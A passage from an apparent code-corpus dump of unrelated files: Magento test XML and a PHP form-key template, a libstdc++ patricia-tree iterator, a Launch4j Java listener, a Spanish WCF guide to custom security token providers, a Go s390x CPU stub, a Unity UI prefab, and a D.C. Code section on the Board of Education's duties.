Terminal(\"(\"), NonTerminal(Sorts.K()), Terminal(\")\")),\n Att().add(Attribute.FUNCTION_KEY).add(Attribute.PREDICATE_KEY, sort.name()));\n }\n}\n"} {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!--\n /**\n * Copyright © Magento, Inc. All rights reserved.\n * See COPYING.txt for license details.\n */\n-->\n\n<actionGroups xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n xsi:noNamespaceSchemaLocation=\"urn:magento:mftf:Test/etc/actionGroupSchema.xsd\">\n <!-- Add value, value title and value price to custom options (type: drop-down, checkbox, multiple select, radio buttons) -->\n <actionGroup name=\"AdminAddTitleAndPriceValueToCustomOptionActionGroup\">\n <annotations>\n <description>Clicks on 'Add Option'. Fills in the provided Custom Option Title/Type on the Admin Product creation/edit page under the 'Customizable Options' section.</description>\n </annotations>\n <arguments>\n <argument name=\"optionValue\" type=\"entity\"/>\n </arguments>\n \n <click stepKey=\"clickAddValue\" selector=\"{{AdminProductCustomizableOptionsSection.addValue}}\"/>\n <fillField stepKey=\"fillInValueTitle\" selector=\"{{AdminProductCustomizableOptionsSection.valueTitle}}\" userInput=\"{{optionValue.title}}\"/>\n <fillField stepKey=\"fillInValuePrice\" selector=\"{{AdminProductCustomizableOptionsSection.valuePrice}}\" userInput=\"{{optionValue.price}}\"/>\n </actionGroup>\n</actionGroups>\n"} {"text": "// -*- C++ -*-\n\n// Copyright (C) 2005, 2006 Free Software Foundation, Inc.\n//\n// This file is part of the GNU ISO C++ Library. This library is free\n// software; you can redistribute it and/or modify it under the terms\n// of the GNU General Public License as published by the Free Software\n// Foundation; either version 2, or (at your option) any later\n// version.\n\n// This library is distributed in the hope that it will be useful, but\n// WITHOUT ANY WARRANTY; without even the implied warranty of\n// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n// General Public License for more details.\n\n// You should have received a copy of the GNU General Public License\n// along with this library; see the file COPYING. If not, write to\n// the Free Software Foundation, 59 Temple Place - Suite 330, Boston,\n// MA 02111-1307, USA.\n\n// As a special exception, you may use this file as part of a free\n// software library without restriction. Specifically, if other files\n// instantiate templates or use macros or inline functions from this\n// file, or you compile this file and link it with other files to\n// produce an executable, this file does not by itself cause the\n// resulting executable to be covered by the GNU General Public\n// License. This exception does not however invalidate any other\n// reasons why the executable file might be covered by the GNU General\n// Public License.\n\n// Copyright (C) 2004 Ami Tavory and Vladimir Dreizin, IBM-HRL.\n\n// Permission to use, copy, modify, sell, and distribute this software\n// is hereby granted without fee, provided that the above copyright\n// notice appears in all copies, and that both that copyright notice\n// and this permission notice appear in supporting documentation. None\n// of the above authors, nor IBM Haifa Research Laboratories, make any\n// representation about the suitability of this software for any\n// purpose. It is provided \"as is\" without express or implied\n// warranty.\n\n/**\n * @file const_child_iterator.hpp\n * Contains a const_iterator for a patricia tree.\n */\n\nstruct const_iterator\n{\npublic:\n typedef std::forward_iterator_tag iterator_category;\n\n typedef typename Allocator::difference_type difference_type;\n\n typedef node_pointer value_type;\n\n typedef node_pointer_pointer pointer;\n\n typedef node_pointer_reference reference;\n\npublic:\n inline\n const_iterator(node_pointer_pointer p_p_cur = NULL, \n\t\t node_pointer_pointer p_p_end = NULL) \n : m_p_p_cur(p_p_cur), m_p_p_end(p_p_end)\n { }\n\n inline bool\n operator==(const const_iterator& other) const\n { return m_p_p_cur == other.m_p_p_cur; }\n\n inline bool\n operator!=(const const_iterator& other) const\n { return m_p_p_cur != other.m_p_p_cur; }\n\n inline const_iterator& \n operator++()\n {\n do\n ++m_p_p_cur;\n while (m_p_p_cur != m_p_p_end&& * m_p_p_cur == NULL);\n return *this;\n }\n\n inline const_iterator\n operator++(int)\n {\n const_iterator ret_it(*this);\n operator++();\n return ret_it;\n }\n\n const node_pointer_pointer\n operator->() const\n {\n _GLIBCXX_DEBUG_ONLY(assert_referencible();)\n return (m_p_p_cur);\n }\n\n const_node_pointer\n operator*() const\n {\n _GLIBCXX_DEBUG_ONLY(assert_referencible();)\n return (*m_p_p_cur);\n }\n\nprotected:\n#ifdef _GLIBCXX_DEBUG\n void\n assert_referencible() const\n { _GLIBCXX_DEBUG_ASSERT(m_p_p_cur != m_p_p_end&& * m_p_p_cur != NULL); }\n#endif \n\npublic:\n node_pointer_pointer m_p_p_cur;\n node_pointer_pointer m_p_p_end;\n};\n\n"} {"text": "/*\r\n\tLaunch4j (http://launch4j.sourceforge.net/)\r\n\tCross-platform Java application wrapper for creating Windows native executables.\r\n\r\n\tCopyright (c) 2004, 2007 Grzegorz Kowal\r\n\r\n\tAll rights reserved.\r\n\r\n\tRedistribution and use in source and binary forms, with or without modification,\r\n\tare permitted provided that the following conditions are met:\r\n\r\n\t * Redistributions of source code must retain the above copyright notice,\r\n\t this list of conditions and the following disclaimer.\r\n\t * Redistributions in binary form must reproduce the above copyright notice,\r\n\t this list of conditions and the following disclaimer in the documentation\r\n\t and/or other materials provided with the distribution.\r\n\t * Neither the name of the Launch4j nor the names of its contributors\r\n\t may be used to endorse or promote products derived from this software without\r\n\t specific prior written permission.\r\n\r\n\tTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\r\n\t\"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\r\n\tLIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\r\n\tA PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\r\n\tCONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\r\n\tEXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\r\n\tPROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\r\n\tPROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\r\n\tLIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\r\n\tNEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\r\n\tSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\r\n*/\r\n\r\n/*\r\n * Created on May 1, 2006\r\n */\r\npackage net.sf.launch4j.formimpl;\r\n\r\nimport java.awt.Color;\r\nimport java.awt.event.ActionListener;\r\n\r\nimport javax.swing.JTextField;\r\n\r\nimport net.sf.launch4j.binding.Binding;\r\n\r\n/**\r\n * @author Copyright (C) 2006 Grzegorz Kowal\r\n */\r\npublic abstract class AbstractAcceptListener implements ActionListener {\r\n\tfinal JTextField _field;\r\n\r\n\tpublic AbstractAcceptListener(JTextField f, boolean listen) {\r\n\t\t_field = f;\r\n\t\tif (listen) {\r\n\t\t\t_field.addActionListener(this);\r\n\t\t}\r\n\t}\r\n\r\n\tprotected String getText() {\r\n\t\treturn _field.getText();\r\n\t}\r\n\t\r\n\tprotected void clear() {\r\n\t\t_field.setText(\"\");\r\n\t\t_field.requestFocusInWindow();\r\n\t}\r\n\r\n\tprotected void signalViolation(String msg) {\r\n\t\tfinal Color bg = _field.getBackground();\r\n\t\t_field.setBackground(Binding.INVALID_COLOR);\r\n\t\tMainFrame.getInstance().warn(msg);\r\n\t\t_field.setBackground(bg);\r\n\t\t_field.requestFocusInWindow();\r\n\t}\r\n}\r\n"} {"text": "---\ntitle: Procedimiento para crear un proveedor de tokens de seguridad personalizado\nms.date: 03/30/2017\ndev_langs:\n- csharp\n- vb\nhelpviewer_keywords:\n- security [WCF], providing credentials\nms.assetid: db8cb478-aa43-478b-bf97-c6489ad7c7fd\nms.openlocfilehash: 1ca12274358ed6de475b0c2b8b47dd5cb52e941e\nms.sourcegitcommit: d2e1dfa7ef2d4e9ffae3d431cf6a4ffd9c8d378f\nms.translationtype: MT\nms.contentlocale: es-ES\nms.lasthandoff: 09/07/2019\nms.locfileid: \"70797034\"\n---\n# <a name=\"how-to-create-a-custom-security-token-provider\"></a>Procedimiento para crear un proveedor de tokens de seguridad personalizado\nEn este tema se muestra cómo crear nuevos tipos de token con un proveedor de tokens de seguridad personalizado y cómo integrar el proveedor con un administrador de tokens de seguridad personalizado. \n \n> [!NOTE]\n> Cree un proveedor de tokens personalizado si los tokens proporcionados por el sistema ubicados en el espacio de nombres <xref:System.IdentityModel.Tokens> no coinciden con sus requisitos. \n \n El proveedor de tokens de seguridad crea una representación de token de seguridad basada en información en el cliente o en las credenciales de servicio. Para usar el proveedor de tokens de seguridad personalizado en la seguridad de Windows Communication Foundation (WCF), debe crear las credenciales personalizadas y las implementaciones del administrador de tokens de seguridad. \n \n Para obtener más información sobre las credenciales personalizadas y el administrador [de tokens de seguridad, vea el tutorial: Crear credenciales](walkthrough-creating-custom-client-and-service-credentials.md)de cliente y servicio personalizadas. \n \n### <a name=\"to-create-a-custom-security-token-provider\"></a>Para crear un proveedor de tokens de seguridad personalizado \n \n1. Defina una clase nueva derivada de la clase <xref:System.IdentityModel.Selectors.SecurityTokenProvider>. \n \n2. Implemente el método <xref:System.IdentityModel.Selectors.SecurityTokenProvider.GetTokenCore%28System.TimeSpan%29>. El método es responsable de crear y devolver una instancia del token de seguridad. El ejemplo siguiente crea una clase denominada `MySecurityTokenProvider`e invalida el método <xref:System.IdentityModel.Selectors.SecurityTokenProvider.GetTokenCore%28System.TimeSpan%29> para devolver una instancia de la clase <xref:System.IdentityModel.Tokens.X509SecurityToken>. El constructor de clase necesita una instancia de la clase <xref:System.Security.Cryptography.X509Certificates.X509Certificate2>. \n \n [!code-csharp[c_CustomTokenProvider#1](../../../../samples/snippets/csharp/VS_Snippets_CFX/c_customtokenprovider/cs/source.cs#1)]\n [!code-vb[c_CustomTokenProvider#1](../../../../samples/snippets/visualbasic/VS_Snippets_CFX/c_customtokenprovider/vb/source.vb#1)] \n \n### <a name=\"to-integrate-a-custom-security-token-provider-with-a-custom-security-token-manager\"></a>Para integrar un proveedor de tokens de seguridad personalizado con un administrador de tokens de seguridad personalizado \n \n1. Defina una clase nueva derivada de la clase <xref:System.IdentityModel.Selectors.SecurityTokenManager>. (El siguiente ejemplo se deriva de la clase <xref:System.ServiceModel.ClientCredentialsSecurityTokenManager>, que se deriva de la clase <xref:System.IdentityModel.Selectors.SecurityTokenManager>). \n \n2. Si no está ya invalidado, invalide el método <xref:System.IdentityModel.Selectors.SecurityTokenManager.CreateSecurityTokenProvider%28System.IdentityModel.Selectors.SecurityTokenRequirement%29>. \n \n El <xref:System.IdentityModel.Selectors.SecurityTokenManager.CreateSecurityTokenProvider%28System.IdentityModel.Selectors.SecurityTokenRequirement%29> método es responsable de devolver una instancia de la <xref:System.IdentityModel.Selectors.SecurityTokenProvider> clase adecuada al <xref:System.IdentityModel.Selectors.SecurityTokenRequirement> parámetro que el marco de seguridad de WCF ha pasado al método. Modifique el método para devolver la implementación de proveedor de tokens de seguridad personalizado (creada en el procedimiento anterior) cuando se llama al método con un parámetro de token de seguridad adecuado. Para obtener más información sobre el administrador de tokens de [seguridad, vea el tutorial: Crear credenciales](walkthrough-creating-custom-client-and-service-credentials.md)de cliente y servicio personalizadas. \n \n3. Agregue la lógica personalizada al método para permitirle que devuelva su proveedor de tokens de seguridad personalizado basado en el parámetro <xref:System.IdentityModel.Selectors.SecurityTokenRequirement>. El ejemplo siguiente devuelve el proveedor de tokens de seguridad personalizado si se cumplen los requisitos del token. Los requisitos incluyen un token de seguridad X.509 y la dirección del mensaje (que el token se utiliza para la salida del mensaje). Para todos los casos restantes, el código llama a la clase base para mantener el comportamiento proporcionado por el sistema para otros requisitos de token de seguridad. \n \n [!code-csharp[c_CustomTokenProvider#2](../../../../samples/snippets/csharp/VS_Snippets_CFX/c_customtokenprovider/cs/source.cs#2)]\n [!code-vb[c_CustomTokenProvider#2](../../../../samples/snippets/visualbasic/VS_Snippets_CFX/c_customtokenprovider/vb/source.vb#2)] \n \n## <a name=\"example\"></a>Ejemplo \n A continuación se presenta una implementación <xref:System.IdentityModel.Selectors.SecurityTokenProvider> completa junto con una implementación <xref:System.IdentityModel.Selectors.SecurityTokenManager> correspondiente. \n \n [!code-csharp[c_CustomTokenProvider#0](../../../../samples/snippets/csharp/VS_Snippets_CFX/c_customtokenprovider/cs/source.cs#0)]\n [!code-vb[c_CustomTokenProvider#0](../../../../samples/snippets/visualbasic/VS_Snippets_CFX/c_customtokenprovider/vb/source.vb#0)] \n \n## <a name=\"see-also\"></a>Vea también\n\n- <xref:System.IdentityModel.Selectors.SecurityTokenProvider>\n- <xref:System.IdentityModel.Selectors.SecurityTokenRequirement>\n- <xref:System.IdentityModel.Selectors.SecurityTokenManager>\n- <xref:System.IdentityModel.Tokens.X509SecurityToken>\n- [Tutorial: Creación de credenciales de cliente y servicio personalizadas](walkthrough-creating-custom-client-and-service-credentials.md)\n- [Cómo: Crear un autenticador de tokens de seguridad personalizado](how-to-create-a-custom-security-token-authenticator.md)\n"} {"text": "<?php\n/**\n * Magento\n *\n * NOTICE OF LICENSE\n *\n * This source file is subject to the Academic Free License (AFL 3.0)\n * that is bundled with this package in the file LICENSE_AFL.txt.\n * It is also available through the world-wide-web at this URL:\n * http://opensource.org/licenses/afl-3.0.php\n * If you did not receive a copy of the license and are unable to\n * obtain it through the world-wide-web, please send an email\n * to license@magento.com so we can send you a copy immediately.\n *\n * DISCLAIMER\n *\n * Do not edit or add to this file if you wish to upgrade Magento to newer\n * versions in the future. If you wish to customize Magento for your\n * needs please refer to http://www.magento.com for more information.\n *\n * @category design\n * @package base_default\n * @copyright Copyright (c) 2006-2020 Magento, Inc. (http://www.magento.com)\n * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)\n */\n?>\n<input name=\"form_key\" type=\"hidden\" value=\"<?php echo Mage::getSingleton('core/session')->getFormKey() ?>\" />\n"} {"text": "// Copyright 2019 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license that can be found in the LICENSE file.\n\n// +build !gccgo\n\npackage cpu\n\n// haveAsmFunctions reports whether the other functions in this file can\n// be safely called.\nfunc haveAsmFunctions() bool { return true }\n\n// The following feature detection functions are defined in cpu_s390x.s.\n// They are likely to be expensive to call so the results should be cached.\nfunc stfle() facilityList\nfunc kmQuery() queryResult\nfunc kmcQuery() queryResult\nfunc kmctrQuery() queryResult\nfunc kmaQuery() queryResult\nfunc kimdQuery() queryResult\nfunc klmdQuery() queryResult\n"} {"text": "%YAML 1.1\n%TAG !u! tag:unity3d.com,2011:\n--- !u!1 &1573785215841776141\nGameObject:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n serializedVersion: 6\n m_Component:\n - component: {fileID: 3696625410762526021}\n - component: {fileID: 2151761185962094992}\n - component: {fileID: 4351049517920814030}\n m_Layer: 5\n m_Name: IndirectDebugUI\n m_TagString: Untagged\n m_Icon: {fileID: 0}\n m_NavMeshLayer: 0\n m_StaticEditorFlags: 0\n m_IsActive: 1\n--- !u!224 &3696625410762526021\nRectTransform:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 1573785215841776141}\n m_LocalRotation: {x: 0, y: 0, z: 0, w: 1}\n m_LocalPosition: {x: 0, y: 0, z: 0}\n m_LocalScale: {x: 0, y: 0, z: 0}\n m_Children:\n - {fileID: 4203083032271605969}\n m_Father: {fileID: 0}\n m_RootOrder: 0\n m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0}\n m_AnchorMin: {x: 0, y: 0}\n m_AnchorMax: {x: 0, y: 0}\n m_AnchoredPosition: {x: 0, y: 0}\n m_SizeDelta: {x: 0, y: 0}\n m_Pivot: {x: 0, y: 0}\n--- !u!223 &2151761185962094992\nCanvas:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 1573785215841776141}\n m_Enabled: 1\n serializedVersion: 3\n m_RenderMode: 0\n m_Camera: {fileID: 0}\n m_PlaneDistance: 100\n m_PixelPerfect: 1\n m_ReceivesEvents: 1\n m_OverrideSorting: 0\n m_OverridePixelPerfect: 0\n m_SortingBucketNormalizedSize: 0\n m_AdditionalShaderChannelsFlag: 0\n m_SortingLayerID: 0\n m_SortingOrder: 10000\n m_TargetDisplay: 0\n--- !u!114 &4351049517920814030\nMonoBehaviour:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 1573785215841776141}\n m_Enabled: 1\n m_EditorHideFlags: 0\n m_Script: {fileID: 1980459831, guid: f70555f144d8491a825f0804e09c671c, type: 3}\n m_Name: \n m_EditorClassIdentifier: \n m_UiScaleMode: 0\n m_ReferencePixelsPerUnit: 100\n m_ScaleFactor: 1\n m_ReferenceResolution: {x: 800, y: 600}\n m_ScreenMatchMode: 0\n m_MatchWidthOrHeight: 0\n m_PhysicalUnit: 3\n m_FallbackScreenDPI: 96\n m_DefaultSpriteDPI: 96\n m_DynamicPixelsPerUnit: 1\n--- !u!1 &1856224869241387844\nGameObject:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n serializedVersion: 6\n m_Component:\n - component: {fileID: 5541881828350445474}\n - component: {fileID: 2881682911502795694}\n - component: {fileID: 1437595895786212811}\n m_Layer: 0\n m_Name: Text\n m_TagString: Untagged\n m_Icon: {fileID: 0}\n m_NavMeshLayer: 0\n m_StaticEditorFlags: 0\n m_IsActive: 1\n--- !u!224 &5541881828350445474\nRectTransform:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 1856224869241387844}\n m_LocalRotation: {x: 0, y: 0, z: 0, w: 1}\n m_LocalPosition: {x: 0, y: 0, z: 0}\n m_LocalScale: {x: 1, y: 1, z: 1}\n m_Children: []\n m_Father: {fileID: 4203083032271605969}\n m_RootOrder: 0\n m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0}\n m_AnchorMin: {x: 0, y: 0}\n m_AnchorMax: {x: 0, y: 0}\n m_AnchoredPosition: {x: 0, y: 0}\n m_SizeDelta: {x: 0, y: 0}\n m_Pivot: {x: 0.5, y: 0.5}\n--- !u!222 &2881682911502795694\nCanvasRenderer:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 1856224869241387844}\n m_CullTransparentMesh: 0\n--- !u!114 &1437595895786212811\nMonoBehaviour:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 1856224869241387844}\n m_Enabled: 1\n m_EditorHideFlags: 0\n m_Script: {fileID: 708705254, guid: f70555f144d8491a825f0804e09c671c, type: 3}\n m_Name: \n m_EditorClassIdentifier: \n m_Material: {fileID: 0}\n m_Color: {r: 1, g: 1, b: 1, a: 1}\n m_RaycastTarget: 1\n m_OnCullStateChanged:\n m_PersistentCalls:\n m_Calls: []\n m_TypeName: UnityEngine.UI.MaskableGraphic+CullStateChangedEvent, UnityEngine.UI,\n Version=1.0.0.0, Culture=neutral, PublicKeyToken=null\n m_FontData:\n m_Font: {fileID: 12800000, guid: 16f993a26943c4ff09e249169b825c9e, type: 3}\n m_FontSize: 18\n m_FontStyle: 0\n m_BestFit: 0\n m_MinSize: 1\n m_MaxSize: 46\n m_Alignment: 0\n m_AlignByGeometry: 0\n m_RichText: 1\n m_HorizontalOverflow: 1\n m_VerticalOverflow: 1\n m_LineSpacing: 1\n m_Text: \n--- !u!1 &2842690750326124091\nGameObject:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n serializedVersion: 6\n m_Component:\n - component: {fileID: 4203083032271605969}\n - component: {fileID: 921474379490717149}\n - component: {fileID: 8505132450324657335}\n - component: {fileID: 681235947326980371}\n - component: {fileID: 2440481357258714052}\n m_Layer: 5\n m_Name: UpperLeft\n m_TagString: Untagged\n m_Icon: {fileID: 0}\n m_NavMeshLayer: 0\n m_StaticEditorFlags: 0\n m_IsActive: 1\n--- !u!224 &4203083032271605969\nRectTransform:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 2842690750326124091}\n m_LocalRotation: {x: 0, y: 0, z: 0, w: 1}\n m_LocalPosition: {x: 0, y: 0, z: 0}\n m_LocalScale: {x: 1, y: 1, z: 1}\n m_Children:\n - {fileID: 5541881828350445474}\n m_Father: {fileID: 3696625410762526021}\n m_RootOrder: 0\n m_LocalEulerAnglesHint: {x: 0, y: 0, z: 0}\n m_AnchorMin: {x: 0, y: 1}\n m_AnchorMax: {x: 0, y: 1}\n m_AnchoredPosition: {x: 5, y: -5}\n m_SizeDelta: {x: 0, y: 0}\n m_Pivot: {x: 0, y: 1}\n--- !u!114 &921474379490717149\nMonoBehaviour:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 2842690750326124091}\n m_Enabled: 1\n m_EditorHideFlags: 0\n m_Script: {fileID: 1741964061, guid: f70555f144d8491a825f0804e09c671c, type: 3}\n m_Name: \n m_EditorClassIdentifier: \n m_HorizontalFit: 2\n m_VerticalFit: 2\n--- !u!114 &8505132450324657335\nMonoBehaviour:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 2842690750326124091}\n m_Enabled: 1\n m_EditorHideFlags: 0\n m_Script: {fileID: -405508275, guid: f70555f144d8491a825f0804e09c671c, type: 3}\n m_Name: \n m_EditorClassIdentifier: \n m_Padding:\n m_Left: 5\n m_Right: 5\n m_Top: 5\n m_Bottom: 5\n m_ChildAlignment: 0\n m_Spacing: 0\n m_ChildForceExpandWidth: 1\n m_ChildForceExpandHeight: 1\n m_ChildControlWidth: 1\n m_ChildControlHeight: 1\n--- !u!222 &681235947326980371\nCanvasRenderer:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 2842690750326124091}\n m_CullTransparentMesh: 0\n--- !u!114 &2440481357258714052\nMonoBehaviour:\n m_ObjectHideFlags: 0\n m_CorrespondingSourceObject: {fileID: 0}\n m_PrefabInstance: {fileID: 0}\n m_PrefabAsset: {fileID: 0}\n m_GameObject: {fileID: 2842690750326124091}\n m_Enabled: 1\n m_EditorHideFlags: 0\n m_Script: {fileID: -765806418, guid: f70555f144d8491a825f0804e09c671c, type: 3}\n m_Name: \n m_EditorClassIdentifier: \n m_Material: {fileID: 0}\n m_Color: {r: 0.16470589, g: 0.16470589, b: 0.16470589, a: 0.5882353}\n m_RaycastTarget: 1\n m_OnCullStateChanged:\n m_PersistentCalls:\n m_Calls: []\n m_TypeName: UnityEngine.UI.MaskableGraphic+CullStateChangedEvent, UnityEngine.UI,\n Version=1.0.0.0, Culture=neutral, PublicKeyToken=null\n m_Sprite: {fileID: 0}\n m_Type: 0\n m_PreserveAspect: 0\n m_FillCenter: 1\n m_FillMethod: 4\n m_FillAmount: 1\n m_FillClockwise: 1\n m_FillOrigin: 0\n m_UseSpriteMesh: 0\n"} {"text": "<?xml version='1.0' encoding='utf-8'?>\n<section xmlns=\"https://code.dccouncil.us/schemas/dc-library\" xmlns:codified=\"https://code.dccouncil.us/schemas/codified\" xmlns:codify=\"https://code.dccouncil.us/schemas/codify\" xmlns:xi=\"http://www.w3.org/2001/XInclude\" containing-doc=\"D.C. Code\">\n <num>38-2652</num>\n <heading>Functions of the Board.</heading>\n <para>\n <num>(a)</num>\n <text>The Board shall:</text>\n <para>\n <num>(1)</num>\n <text>Advise the State Superintendent of Education on educational matters, including:</text>\n <para>\n <num>(A)</num>\n <text>State standards;</text>\n </para>\n <para>\n <num>(B)</num>\n <text>State policies, including those governing special, academic, vocational, charter, and other schools;</text>\n </para>\n <para>\n <num>(C)</num>\n <text>State objectives; and</text>\n </para>\n <para>\n <num>(D)</num>\n <text>State regulations proposed by the Mayor or the State Superintendent of Education;</text>\n </para>\n </para>\n <para>\n <num>(1A)</num>\n <text>Oversee the Office of Ombudsman for Public Education in accordance with <cite path=\"38|3A\">Chapter 3A of this title</cite> [<cite path=\"§38-351\">§ 38-351</cite> et seq.], and the Office of the Student Advocate in accordance with <cite path=\"38|3B\" proof=\"true\">Chapter 3B of this title</cite> [<cite path=\"§38-371\" proof=\"true\">§ 38-371</cite> et seq.].</text>\n </para>\n <para>\n <num>(2)</num>\n <text>Approve state academic standards, following a recommendation by the State Superintendent of Education, ensuring that the standards recommended by the State Superintendent of Education:</text>\n <para>\n <num>(A)</num>\n <text>Specify what children are expected to know and be able to do;</text>\n </para>\n <para>\n <num>(B)</num>\n <text>Contain coherent and rigorous content;</text>\n </para>\n <para>\n <num>(C)</num>\n <text>Encourage the teaching of advanced skills; and</text>\n </para>\n <para>\n <num>(D)</num>\n <text>Are updated on a regular basis;</text>\n </para>\n </para>\n <para>\n <num>(3)</num>\n <text>Approve high school graduation requirements;</text>\n </para>\n <para>\n <num>(4)</num>\n <text>Approve standards for high school equivalence credentials;</text>\n </para>\n <para>\n <num>(5)</num>\n <text>Approve a state definition of:</text>\n <para>\n <num>(A)</num>\n <text>“Adequate yearly progress” that will be applied consistently to all local education agencies;</text>\n </para>\n <para>\n <num>(B)</num>\n <text>And standards for “highly qualified teachers,” pursuant to the No Child Left Behind Act of 2001, approved January 8, 2002 (115 Stat. 1425; 20 U.S.C. § 6301 et seq.) (“NCLB Act”); and</text>\n </para>\n <para>\n <num>(C)</num>\n <text>“Proficiency” that ensures an accurate measure of student achievement;</text>\n </para>\n </para>\n <para>\n <num>(6)</num>\n <text>Approve standards for accreditation and certification of teacher preparation programs of colleges and universities;</text>\n </para>\n <para>\n <num>(7)</num>\n <text>Approve the state accountability plan for the District of Columbia developed by the chief state school officer, pursuant to the NCLB Act, ensuring that:</text>\n <para>\n <num>(A)</num>\n <text>The plan includes a single statewide accountability system that will ensure all local education agencies make adequate yearly progress; and</text>\n </para>\n <para>\n <num>(B)</num>\n <text>The statewide accountability system included in the plan is based on academic standards, academic assessments, a standardized system of accountability across all local education agencies, and a system of sanctions and rewards that will be used to hold local education agencies accountable for student achievement;</text>\n </para>\n </para>\n <para>\n <num>(8)</num>\n <text>Approve state policies for parental involvement;</text>\n </para>\n <para>\n <num>(9)</num>\n <text>Approve state policies for supplemental education service providers operating in the District to ensure that providers have a demonstrated record of effectiveness and offer services that promote challenging academic achievement standards and that improve student achievement;</text>\n </para>\n <para>\n <num>(10)</num>\n <text>Approve the rules for residency verification;</text>\n </para>\n <para>\n <num>(11)</num>\n <text>Approve the list of charter school accreditation organizations;</text>\n </para>\n <para>\n <num>(12)</num>\n <text>Approve the categories and format of the annual report card, pursuant to the NCLB Act;</text>\n </para>\n <para>\n <num>(13)</num>\n <text>Approve the list of private placement accreditation organizations, pursuant to Chapter 29 of this title [<cite path=\"§38-2901\">§ 38-2901</cite> et seq.];</text>\n </para>\n <para>\n <num>(14)</num>\n <text>Approve state rules for enforcing school attendance requirements; and</text>\n </para>\n <para>\n <num>(15)</num>\n <text>Approve state standards for home schooling.</text>\n </para>\n </para>\n <para>\n <num>(b)</num>\n <text>The Board shall conduct monthly meetings to receive citizen input with respect to issues properly before it, which may be conducted at a location in a ward.</text>\n </para>\n <para>\n <num>(c)</num>\n <text>The Board shall consider matters for policy approval upon submission of a request for policy action by the State Superintendent of Education within a review period requested by the Office of the State Superintendent of Education.</text>\n </para>\n <para>\n <num>(d)</num>\n <para>\n <num>(1)</num>\n <text>The Board shall, by order, specify its organizational structure, staff, operations, reimbursement of expenses policy, and other matters affecting the Board’s functions.</text>\n </para>\n <para>\n <num>(2)</num>\n <text>The Board shall appoint staff members, who shall serve at the pleasure of the Board, to perform administrative functions and any other functions necessary to execute the mission of the Board.</text>\n </para>\n <para>\n <num>(3)</num>\n <text>Beginning in fiscal year 2013, the Board shall prepare and submit to the Mayor, for inclusion in the annual budget prepared and submitted to the Council pursuant to <cite path=\"1|2|IV|D\">part D of subchapter IV of Chapter 2 of Title 1</cite> [§ 204.41 et seq.], annual estimates of the expenditures and appropriations necessary for the operation of the Board for the year. All the estimates shall be forwarded by the Mayor to the Council for, in addition to the Mayor’s recommendations, action by the Council pursuant to §§ <cite path=\"§1-204.46\">1-204.46</cite> and <cite path=\"§1-206.03|(c)\">1-206.03(c)</cite>.</text>\n </para>\n <para>\n <num>(4)</num>\n <text>The Board shall be reflected in the budget and financial system as an agency-level entity.</text>\n </para>\n <para>\n <num>(5)</num>\n <text>All assets, staff, and unexpended appropriations of the Office of the State Superintendent of Education or of any other agency that are associated with the Board shall be transferred to the Board by April 1, 2013.</text>\n </para>\n </para>\n <para>\n 